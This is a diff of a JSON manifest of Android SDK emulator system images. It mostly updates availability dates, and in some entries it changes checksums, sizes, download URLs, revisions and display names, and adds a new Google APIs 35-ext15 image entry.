-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-28-google_apis-x86",
           "path": "system-images/android-28/google_apis/x86",
@@ -7938,7 +7938,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-28-google_apis-x86_64",
           "path": "system-images/android-28/google_apis/x86_64",
@@ -7997,7 +7997,7 @@
             }
           },
           "displayName": "Google ARM64-V8a Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-28-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-28/google_apis_playstore/arm64-v8a",
@@ -8064,7 +8064,7 @@
             }
           },
           "displayName": "Google Play Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-28-google_apis_playstore-x86",
           "path": "system-images/android-28/google_apis_playstore/x86",
@@ -8131,7 +8131,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-28-google_apis_playstore-x86_64",
           "path": "system-images/android-28/google_apis_playstore/x86_64",
@@ -8192,7 +8192,7 @@
             }
           },
           "displayName": "Automotive with Play Store Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-android-automotive-playstore-x86",
           "path": "system-images/android-29/android-automotive-playstore/x86",
@@ -8252,7 +8252,7 @@
             }
           },
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-29-android-tv-x86",
           "path": "system-images/android-29/android-tv/x86",
@@ -8291,7 +8291,7 @@
             }
           ],
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-default-arm64-v8a",
           "path": "system-images/android-29/default/arm64-v8a",
@@ -8354,7 +8354,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-default-x86",
           "path": "system-images/android-29/default/x86",
@@ -8417,7 +8417,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-default-x86_64",
           "path": "system-images/android-29/default/x86_64",
@@ -8468,7 +8468,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-29-google_apis-arm64-v8a",
           "path": "system-images/android-29/google_apis/arm64-v8a",
@@ -8525,7 +8525,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-google_apis-x86",
           "path": "system-images/android-29/google_apis/x86",
@@ -8582,7 +8582,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-google_apis-x86_64",
           "path": "system-images/android-29/google_apis/x86_64",
@@ -8641,7 +8641,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-29-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-29/google_apis_playstore/arm64-v8a",
@@ -8722,7 +8722,7 @@
             }
           },
           "displayName": "Google Play Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-google_apis_playstore-x86",
           "path": "system-images/android-29/google_apis_playstore/x86",
@@ -8803,7 +8803,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-29-google_apis_playstore-x86_64",
           "path": "system-images/android-29/google_apis_playstore/x86_64",
@@ -8864,7 +8864,7 @@
             }
           },
           "displayName": "Automotive with Play Store Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-android-automotive-playstore-x86_64",
           "path": "system-images/android-30/android-automotive-playstore/x86_64",
@@ -8924,7 +8924,7 @@
             }
           },
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-30-android-tv-x86",
           "path": "system-images/android-30/android-tv/x86",
@@ -8957,8 +8957,8 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "56c0c2550580f2ba1b33009c77db017dbcb3d470",
-              "size": 827418923,
+              "sha1": "ef7b5554a5f77fb33c7965604552411c155a38ac",
+              "size": 649112314,
               "url": "https://dl.google.com/android/repository/sys-img/android-wear/arm64-v8a-30_r12.zip"
             }
           ],
@@ -8969,11 +8969,11 @@
               }
             }
           },
-          "displayName": "Wear OS 3 ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "displayName": "China version of Wear OS 3 ARM 64 v8a System Image",
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-android-wear-arm64-v8a",
-          "path": "system-images/android-30/android-wear/arm64-v8a",
+          "path": "system-images/android-30/android-wear-cn/arm64-v8a",
           "revision": "30-android-wear-arm64-v8a",
           "revision-details": {
             "major:0": "12"
@@ -8991,7 +8991,7 @@
               "id:0": "android-wear"
             },
             "tag:2": {
-              "display:1": "Wear OS 3",
+              "display:1": "China version of Wear OS 3",
               "id:0": "android-wear"
             }
           }
@@ -9001,8 +9001,8 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "73a96614a2ddcf586e4c659c436d2360bc25badc",
-              "size": 901929440,
+              "sha1": "42548b2bd1696ad6bd2f01a1cf83ef7a10971932",
+              "size": 759598676,
               "url": "https://dl.google.com/android/repository/sys-img/android-wear/x86-30_r12.zip"
             }
           ],
@@ -9013,11 +9013,11 @@
               }
             }
           },
-          "displayName": "Wear OS 3 Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "displayName": "China version of Wear OS 3 Intel x86 Atom System Image",
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-android-wear-x86",
-          "path": "system-images/android-30/android-wear/x86",
+          "path": "system-images/android-30/android-wear-cn/x86",
           "revision": "30-android-wear-x86",
           "revision-details": {
             "major:0": "12"
@@ -9035,7 +9035,7 @@
               "id:0": "android-wear"
             },
             "tag:2": {
-              "display:1": "Wear OS 3",
+              "display:1": "China version of Wear OS 3",
               "id:0": "android-wear"
             }
           }
@@ -9053,7 +9053,7 @@
             }
           ],
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-default-arm64-v8a",
           "path": "system-images/android-30/default/arm64-v8a",
@@ -9102,7 +9102,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-default-x86_64",
           "path": "system-images/android-30/default/x86_64",
@@ -9153,7 +9153,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-30-google_apis-arm64-v8a",
           "path": "system-images/android-30/google_apis/arm64-v8a",
@@ -9220,7 +9220,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-google_apis-x86",
           "path": "system-images/android-30/google_apis/x86",
@@ -9287,7 +9287,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-google_apis-x86_64",
           "path": "system-images/android-30/google_apis/x86_64",
@@ -9353,7 +9353,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-30-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-30/google_apis_playstore/arm64-v8a",
@@ -9434,7 +9434,7 @@
             }
           },
           "displayName": "Google Play Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-30-google_apis_playstore-x86",
           "path": "system-images/android-30/google_apis_playstore/x86",
@@ -9515,7 +9515,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-30-google_apis_playstore-x86_64",
           "path": "system-images/android-30/google_apis_playstore/x86_64",
@@ -9586,7 +9586,7 @@
             }
           },
           "displayName": "Android TV ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-31-android-tv-arm64-v8a",
           "path": "system-images/android-31/android-tv/arm64-v8a",
@@ -9645,7 +9645,7 @@
             }
           },
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-31-android-tv-x86",
           "path": "system-images/android-31/android-tv/x86",
@@ -9696,7 +9696,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-31-default-arm64-v8a",
           "path": "system-images/android-31/default/arm64-v8a",
@@ -9745,7 +9745,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-31-default-x86_64",
           "path": "system-images/android-31/default/x86_64",
@@ -9806,7 +9806,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-31-google_apis-arm64-v8a",
           "path": "system-images/android-31/google_apis/arm64-v8a",
@@ -9873,7 +9873,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-31-google_apis-x86_64",
           "path": "system-images/android-31/google_apis/x86_64",
@@ -9949,7 +9949,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-31-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-31/google_apis_playstore/arm64-v8a",
@@ -10016,7 +10016,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-31-google_apis_playstore-x86_64",
           "path": "system-images/android-31/google_apis_playstore/x86_64",
@@ -10077,7 +10077,7 @@
             }
           },
           "displayName": "Android Automotive with Google Play arm64-v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-32-android-automotive-playstore-arm64-v8a",
           "path": "system-images/android-32/android-automotive-playstore/arm64-v8a",
@@ -10130,7 +10130,7 @@
             }
           },
           "displayName": "Android Automotive with Google Play x86_64 System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-32-android-automotive-playstore-x86_64",
           "path": "system-images/android-32/android-automotive-playstore/x86_64",
@@ -10185,7 +10185,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-32-default-arm64-v8a",
           "path": "system-images/android-32/default/arm64-v8a",
@@ -10234,7 +10234,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-32-default-x86_64",
           "path": "system-images/android-32/default/x86_64",
@@ -10295,7 +10295,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-32-google_apis-arm64-v8a",
           "path": "system-images/android-32/google_apis/arm64-v8a",
@@ -10362,7 +10362,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-32-google_apis-x86_64",
           "path": "system-images/android-32/google_apis/x86_64",
@@ -10438,7 +10438,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-32-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-32/google_apis_playstore/arm64-v8a",
@@ -10519,7 +10519,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-32-google_apis_playstore-x86_64",
           "path": "system-images/android-32/google_apis_playstore/x86_64",
@@ -10562,9 +10562,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "ca95328e871a6ec613fffc410b2e81ca7c7c2c95",
-              "size": 1314179288,
-              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/arm64-v8a-33_r04.zip"
+              "sha1": "1350f29ead803659be77949886e4cc0fca543ae3",
+              "size": 1311397288,
+              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/arm64-v8a-33_r05.zip"
             }
           ],
           "dependencies": {
@@ -10580,13 +10580,13 @@
             }
           },
           "displayName": "Android Automotive with Google APIs arm64-v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-android-automotive-arm64-v8a",
           "path": "system-images/android-33/android-automotive/arm64-v8a",
           "revision": "33-android-automotive-arm64-v8a",
           "revision-details": {
-            "major:0": "4"
+            "major:0": "5"
           },
           "type-details": {
             "abi:6": "arm64-v8a",
@@ -10615,9 +10615,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "f23487d919389c9c5bf1882c030830de31ed0a21",
-              "size": 1336031457,
-              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/x86_64-33_r04.zip"
+              "sha1": "4657b6da29ad4273986f3b8fa9b1caac3bb5195f",
+              "size": 1333244962,
+              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/x86_64-33_r05.zip"
             }
           ],
           "dependencies": {
@@ -10633,13 +10633,13 @@
             }
           },
           "displayName": "Android Automotive with Google APIs x86_64 System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-android-automotive-x86_64",
           "path": "system-images/android-33/android-automotive/x86_64",
           "revision": "33-android-automotive-x86_64",
           "revision-details": {
-            "major:0": "4"
+            "major:0": "5"
           },
           "type-details": {
             "abi:6": "x86_64",
@@ -10698,7 +10698,7 @@
             }
           },
           "displayName": "Android TV ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-android-tv-arm64-v8a",
           "path": "system-images/android-33/android-tv/arm64-v8a",
@@ -10757,7 +10757,7 @@
             }
           },
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-android-tv-x86",
           "path": "system-images/android-33/android-tv/x86",
@@ -10803,7 +10803,7 @@
             }
           },
           "displayName": "Wear OS 4 ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-android-wear-arm64-v8a",
           "path": "system-images/android-33/android-wear/arm64-v8a",
@@ -10847,7 +10847,7 @@
             }
           },
           "displayName": "Wear OS 4 Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-android-wear-x86_64",
           "path": "system-images/android-33/android-wear/x86_64",
@@ -10898,7 +10898,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-default-arm64-v8a",
           "path": "system-images/android-33/default/arm64-v8a",
@@ -10947,7 +10947,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-default-x86_64",
           "path": "system-images/android-33/default/x86_64",
@@ -11008,7 +11008,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-33-google_apis-arm64-v8a",
           "path": "system-images/android-33/google_apis/arm64-v8a",
@@ -11075,7 +11075,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-google_apis-x86_64",
           "path": "system-images/android-33/google_apis/x86_64",
@@ -11144,7 +11144,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-33-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-33/google_apis_playstore/arm64-v8a",
@@ -11211,7 +11211,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-33-google_apis_playstore-x86_64",
           "path": "system-images/android-33/google_apis_playstore/x86_64",
@@ -11286,7 +11286,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-33x-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-33-ext4/google_apis_playstore/arm64-v8a",
@@ -11335,7 +11335,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-33x-google_apis_playstore-x86_64",
           "path": "system-images/android-33-ext4/google_apis_playstore/x86_64",
@@ -11398,7 +11398,7 @@
             }
           },
           "displayName": "Android TV ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-android-tv-arm64-v8a",
           "path": "system-images/android-34/android-tv/arm64-v8a",
@@ -11458,7 +11458,7 @@
             }
           },
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-android-tv-x86",
           "path": "system-images/android-34/android-tv/x86",
@@ -11498,7 +11498,7 @@
             }
           ],
           "displayName": "Wear OS 5 ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-android-wear-arm64-v8a",
           "path": "system-images/android-34/android-wear/arm64-v8a",
@@ -11535,7 +11535,7 @@
             }
           ],
           "displayName": "Wear OS 5 Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-android-wear-x86_64",
           "path": "system-images/android-34/android-wear/x86_64",
@@ -11586,7 +11586,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-default-arm64-v8a",
           "path": "system-images/android-34/default/arm64-v8a",
@@ -11635,7 +11635,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-default-x86_64",
           "path": "system-images/android-34/default/x86_64",
@@ -11696,7 +11696,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-34-google_apis-arm64-v8a",
           "path": "system-images/android-34/google_apis/arm64-v8a",
@@ -11764,7 +11764,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-google_apis-x86_64",
           "path": "system-images/android-34/google_apis/x86_64",
@@ -11834,7 +11834,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-34-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-34/google_apis_playstore/arm64-v8a",
@@ -11903,7 +11903,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34-google_apis_playstore-x86_64",
           "path": "system-images/android-34/google_apis_playstore/x86_64",
@@ -11948,9 +11948,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "2c0b4d0ed7aa50d498fb0e31ac500343deb90b7c",
-              "size": 1397481780,
-              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/arm64-v8a-34-ext9_playstore_r03.zip"
+              "sha1": "ce75a3152c34862f8092e31be13024693564cfa5",
+              "size": 1409602624,
+              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/arm64-v8a-34-ext9_playstore_r04.zip"
             }
           ],
           "dependencies": {
@@ -11966,13 +11966,13 @@
             }
           },
           "displayName": "Android Automotive with Google APIs arm64-v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34x-android-automotive-arm64-v8a",
           "path": "system-images/android-34-ext9/android-automotive/arm64-v8a",
           "revision": "34x-android-automotive-arm64-v8a",
           "revision-details": {
-            "major:0": "4"
+            "major:0": "5"
           },
           "type-details": {
             "abi:6": "arm64-v8a",
@@ -12001,9 +12001,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "ccbfbf77c5b83a6bfb66032e25c1634104c66354",
-              "size": 1436319949,
-              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/x86_64-34-ext9_playstore_r03.zip"
+              "sha1": "1a52bb3dc6a1b0e7ac19b1f512047df9d0b93c1b",
+              "size": 1451722407,
+              "url": "https://dl.google.com/android/repository/sys-img/android-automotive/x86_64-34-ext9_playstore_r04.zip"
             }
           ],
           "dependencies": {
@@ -12019,13 +12019,13 @@
             }
           },
           "displayName": "Android Automotive with Google APIs x86_64 System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34x-android-automotive-x86_64",
           "path": "system-images/android-34-ext9/android-automotive/x86_64",
           "revision": "34x-android-automotive-x86_64",
           "revision-details": {
-            "major:0": "4"
+            "major:0": "5"
           },
           "type-details": {
             "abi:6": "x86_64",
@@ -12088,7 +12088,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-34x-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-34-ext12/google_apis_playstore/arm64-v8a",
@@ -12137,7 +12137,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-34x-google_apis_playstore-x86_64",
           "path": "system-images/android-34-ext12/google_apis_playstore/x86_64",
@@ -12178,7 +12178,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 - Preview ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-35-android-wear-arm64-v8a",
           "path": "system-images/android-35/android-wear/arm64-v8a",
@@ -12210,7 +12210,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 - Preview Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-preview-license",
           "name": "system-image-35-android-wear-x86_64",
           "path": "system-images/android-35/android-wear/x86_64",
@@ -12256,7 +12256,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35-default-arm64-v8a",
           "path": "system-images/android-35/default/arm64-v8a",
@@ -12301,7 +12301,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35-default-x86_64",
           "path": "system-images/android-35/default/x86_64",
@@ -12348,7 +12348,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35-google_apis-arm64-v8a",
           "path": "system-images/android-35/google_apis/arm64-v8a",
@@ -12406,7 +12406,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35-google_apis-x86_64",
           "path": "system-images/android-35/google_apis/x86_64",
@@ -12466,7 +12466,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-35/google_apis_playstore/arm64-v8a",
@@ -12524,7 +12524,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35-google_apis_playstore-x86_64",
           "path": "system-images/android-35/google_apis_playstore/x86_64",
@@ -12584,7 +12584,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35-page_size_16kb-arm64-v8a",
           "path": "system-images/android-35/google_apis_playstore_ps16k/arm64-v8a",
@@ -12645,8 +12645,8 @@
               }
             }
           },
-          "displayName": "Pre-Release 16 KB Page Size Google Play ARM Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35-page_size_16kb-x86_64",
           "path": "system-images/android-35/google_apis_playstore_ps16k/x86_64",
@@ -12700,7 +12700,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35x-android-wear-arm64-v8a",
           "path": "system-images/android-35-ext15/android-wear/arm64-v8a",
@@ -12733,7 +12733,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35x-android-wear-x86_64",
           "path": "system-images/android-35-ext15/android-wear/x86_64",
@@ -12756,6 +12756,106 @@
           }
         }
       },
+      "google_apis": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "5ccebb92efc75d4924fb9f6a1680c2a90b4455d2",
+              "size": 1782795864,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/arm64-v8a-35-ext15_r01.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "30",
+                "micro:2": "2",
+                "minor:1": "8"
+              }
+            }
+          },
+          "displayName": "Google APIs ARM 64 v8a System Image",
+          "last-available-day": 20237,
+          "license": "android-sdk-arm-dbt-license",
+          "name": "system-image-35x-google_apis-arm64-v8a",
+          "path": "system-images/android-35-ext15/google_apis/arm64-v8a",
+          "revision": "35x-google_apis-arm64-v8a",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:5": "arm64-v8a",
+            "api-level:0": "35x",
+            "base-extension:2": "false",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "15",
+            "tag:3": {
+              "display:1": "Google APIs",
+              "id:0": "google_apis"
+            },
+            "vendor:4": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        },
+        "x86_64": {
